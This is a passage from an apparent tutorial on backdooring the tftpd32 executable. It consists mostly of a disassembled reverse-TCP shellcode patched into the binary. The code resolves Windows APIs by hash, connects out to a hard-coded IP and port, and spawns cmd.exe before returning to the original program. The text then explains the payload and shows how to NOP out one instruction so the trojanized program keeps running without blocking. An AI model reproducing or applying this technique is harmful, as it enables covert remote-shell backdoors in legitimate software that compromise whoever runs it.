fs:[eax+30] 00446069 8B52 0C mov edx, dword ptr ds:[edx+C] 0044606C 8B52 14 mov edx, dword ptr ds:[edx+14] 0044606F 8B72 28 mov esi, dword ptr ds:[edx+28] 00446072 0FB74A 26 movzx ecx, word ptr ds:[edx+26] 00446076 31FF xor edi, edi 00446078 AC lods byte ptr ds:[esi] 00446079 3C 61 cmp al, 61 0044607B 7C 02 jl short tftpd32-.0044607F 0044607D 2C 20 sub al, 20 0044607F C1CF 0D ror edi, 0D 00446082 01C7 add edi, eax 00446084 ^ E2 F2 loopd short tftpd32-.00446078 00446086 52 push edx 00446087 57 push edi 00446088 8B52 10 mov edx, dword ptr ds:[edx+10] 0044608B 8B4A 3C mov ecx, dword ptr ds:[edx+3C] 0044608E 8B4C11 78 mov ecx, dword ptr ds:[ecx+edx+> 00446092 E3 48 jecxz short tftpd32-.004460DC 00446094 01D1 add ecx, edx 00446096 51 push ecx 00446097 8B59 20 mov ebx, dword ptr ds:[ecx+20] 0044609A 01D3 add ebx, edx 0044609C 8B49 18 mov ecx, dword ptr ds:[ecx+18] 0044609F E3 3A jecxz short tftpd32-.004460DB 004460A1 49 dec ecx 004460A2 8B348B mov esi, dword ptr ds:[ebx+ecx*> 004460A5 01D6 add esi, edx 004460A7 31FF xor edi, edi 004460A9 AC lods byte ptr ds:[esi] 004460AA C1CF 0D ror edi, 0D 004460AD 01C7 add edi, eax 004460AF 38E0 cmp al, ah 004460B1 ^ 75 F6 jnz short tftpd32-.004460A9 004460B3 037D F8 add edi, dword ptr ss:[ebp-8] 004460B6 3B7D 24 cmp edi, dword ptr ss:[ebp+24] 004460B9 ^ 75 E4 jnz short tftpd32-.0044609F 004460BB 58 pop eax 004460BC 8B58 24 mov ebx, dword ptr ds:[eax+24] 004460BF 01D3 add ebx, edx 004460C1 66:8B0C4B mov cx, word ptr ds:[ebx+ecx*2] 004460C5 8B58 1C mov ebx, dword ptr ds:[eax+1C] 004460C8 01D3 add ebx, edx 004460CA 8B048B mov eax, dword ptr ds:[ebx+ecx*> 004460CD 01D0 add eax, edx 004460CF 894424 24 mov dword ptr ss:[esp+24], eax 004460D3 5B pop ebx 004460D4 5B pop ebx 004460D5 61 popad 004460D6 59 pop ecx 004460D7 5A pop edx 004460D8 51 push ecx 004460D9 - FFE0 jmp eax ; Call resolved import with supplied params 004460DB 5F pop edi 004460DC 5F pop edi 004460DD 5A pop edx 004460DE 8B12 mov edx, dword ptr ds:[edx] 004460E0 ^ EB 8D jmp short tftpd32-.0044606F 004460E2 5D pop ebp 004460E3 68 33320000 push 3233 004460E8 68 7773325F push 5F327377 004460ED 54 push esp 004460EE 68 4C772607 push 726774C 004460F3 FFD5 call ebp ; LoadLibrary(ws2_32.dll) 004460F5 B8 90010000 mov eax, 190 004460FA 29C4 sub esp, eax 004460FC 54 push esp 004460FD 50 push eax 004460FE 68 29806B00 push 6B8029 00446103 FFD5 call ebp ; WSAStartup 00446105 50 push eax 00446106 50 push eax 00446107 50 push eax 00446108 50 push eax 00446109 40 inc eax 0044610A 50 push eax 0044610B 40 inc eax 0044610C 50 push eax 0044610D 68 EA0FDFE0 push E0DF0FEA 00446112 FFD5 call ebp ; WSASocketA 00446114 97 xchg eax, edi 00446115 6A 05 push 5 00446117 68 C0A86437 push 3764A8C0 0044611C 68 0200115C push 5C110002 00446121 89E6 mov esi, esp 00446123 6A 10 push 10 00446125 56 push esi 00446126 57 push edi 00446127 68 99A57461 push 6174A599 0044612C FFD5 call ebp ; connect 0044612E 85C0 test eax, eax 00446130 74 0C je short tftpd32-.0044613E 00446132 FF4E 08 dec dword ptr ds:[esi+8] 00446135 ^ 75 EC jnz short tftpd32-.00446123 00446137 68 F0B5A256 push 56A2B5F0 0044613C FFD5 call ebp ; Probably ExitProcess 0044613E 68 636D6400 push 646D63 00446143 89E3 mov ebx, esp 00446145 57 push edi 00446146 57 push edi 00446147 57 push edi 00446148 31F6 xor esi, esi 0044614A 6A 12 push 12 0044614C 59 pop ecx 0044614D 56 push esi 0044614E ^ E2 FD loopd short tftpd32-.0044614D 00446150 66:C74424 3C >mov word ptr ss:[esp+3C], 101 00446157 8D4424 10 lea eax, dword ptr ss:[esp+10] 0044615B C600 44 mov byte ptr ds:[eax], 44 0044615E 54 push esp 0044615F 50 push eax 00446160 56 push esi 00446161 56 push esi 00446162 56 push esi 00446163 46 inc esi 00446164 56 push esi 00446165 4E dec esi 00446166 56 push esi 00446167 56 push esi 00446168 53 push ebx 00446169 56 push esi 0044616A 68 79CC3F86 push 863FCC79 0044616F FFD5 call ebp ; CreateProcess(cmd) 00446171 89E0 mov eax, esp 00446173 4E dec esi 00446174 56 push esi 00446175 46 inc esi 00446176 FF30 push dword ptr ds:[eax] 00446178 68 08871D60 push 601D8708 0044617D FFD5 call ebp ; WaitForSingleObject(..., INFINITE) 0044617F BB FE0E32EA mov ebx, EA320EFE 00446184 68 A695BD9D push 9DBD95A6 00446189 FFD5 call ebp 0044618B 3C 06 cmp al, 6 0044618D 7C 0A jl short tftpd32-.00446199 0044618F 80FB E0 cmp bl, 0E0 00446192 75 05 jnz short tftpd32-.00446199 00446194 BB 4713726F mov ebx, 6F721347 00446199 6A 00 push 0 0044619B 53 push ebx 0044619C FFD5 call ebp 0044619E 90 nop 0044619F 90 nop 004461A0 90 nop 004461A1 90 nop 004461A2 90 nop 004461A3 90 nop 004461A4 90 nop 004461A5 90 nop 004461A6 90 nop 004461A7 90 nop 004461A8 90 nop 004461A9 90 nop 004461AA 90 nop 004461AB 90 nop 004461AC 90 nop 004461AD 90 nop 004461AE 90 nop 004461AF 90 nop 004461B0 90 nop 004461B1 90 nop 004461B2 90 nop 004461B3 90 nop 004461B4 90 nop 004461B5 83C4 00 add esp, 0 004461B8 90 nop 004461B9 90 nop 004461BA 90 nop 004461BB 90 nop 004461BC 90 nop 004461BD 9D popfd 004461BE 61 popad 004461BF - E9 9AB1FCFF jmp tftpd32-.0041135E 004461C4 90 nop ``` ### Step 4: Explaining what the payload is all about Here's the explanation of the **windows/shell_reverse_tcp** payload in particular. 1. `ResolveImport(DWORD dwFunctionNameHash, DWORD dwLibraryNameHash, ...);` This is a function, located at the 0x00446060 (always this address will get passed via **EBP** register) that takes in a first argument a function name hash, then resolves it and calls with having supplied additional parameters passed originally to that routine: ``` 00446060 60 pushad ; ResolveImport(dwHash, ...); 00446061 89E5 mov ebp, esp 00446063 31C0 xor eax, eax 00446065 64:8B50 30 mov edx, dword ptr fs:[eax+30] ... 004460D7 5A pop edx 004460D8 51 push ecx 004460D9 - FFE0 jmp eax ; Call resolved import with supplied params ``` That last `JMP eax` does actual function (import) call with supplied parameters, than it returns to the point where the `ResolveImport` function was called from, for instance: ``` 004460E3 68 33320000 push 3233 004460E8 68 7773325F push 5F327377 004460ED 54 push esp 004460EE 68 4C772607 push 726774C 004460F3 FFD5 call ebp ; ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll"); 004460F5 B8 90010000 mov eax, 190 ``` Here's the code flow: 0x004460F3 invokes the `ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll");` function, that yields handle to the loaded **ws2_32.dll** DLL - the one responsible for internetwork communication API. Then, from the 0004460D9 JMP within `ResolveImport` - the payload will return to the 0x004460F5 and take this up from that point on. Having discussed how system imports are being invoked - here's the list of the APIs that get called: 1. `LoadLibrary("ws2_32.dll")` 2. `WSAStartup(...)` 3. `WSASocketA(...)` 4. `connect(...)` 5. If connect succeeds: `CreateProcess("cmd", ...)` 6. If connect succeeds: `WaitForSingleObject(..., INFINITE)` ### Step 5: Cut to the chase - what is it all about with that WaitForSingleObject? Here's the point we all interested at: ``` 0044616A 68 79CC3F86 push 863FCC79 0044616F FFD5 call ebp ; CreateProcess(cmd) 00446171 89E0 mov eax, esp 00446173 4E dec esi 00446174 56 push esi 00446175 46 inc esi 00446176 FF30 push dword ptr ds:[eax] 00446178 68 08871D60 push 601D8708 0044617D FFD5 call ebp ; WaitForSingleObject(..., INFINITE) 0044617F BB FE0E32EA mov ebx, EA320EFE ``` Notice the most important sequence: ``` 00446173 4E dec esi 00446174 56 push esi ``` This is a place where the **ESI** which originally was 0x00000000 gets decremented resulting in -1 (0xffffffff). Therefore, all we have to do to prevent having -1 is to NOP out that `dec esi` instruction: ``` 00446173 4E nop 00446174 56 push esi ``` And that should be all, now save changes to the file.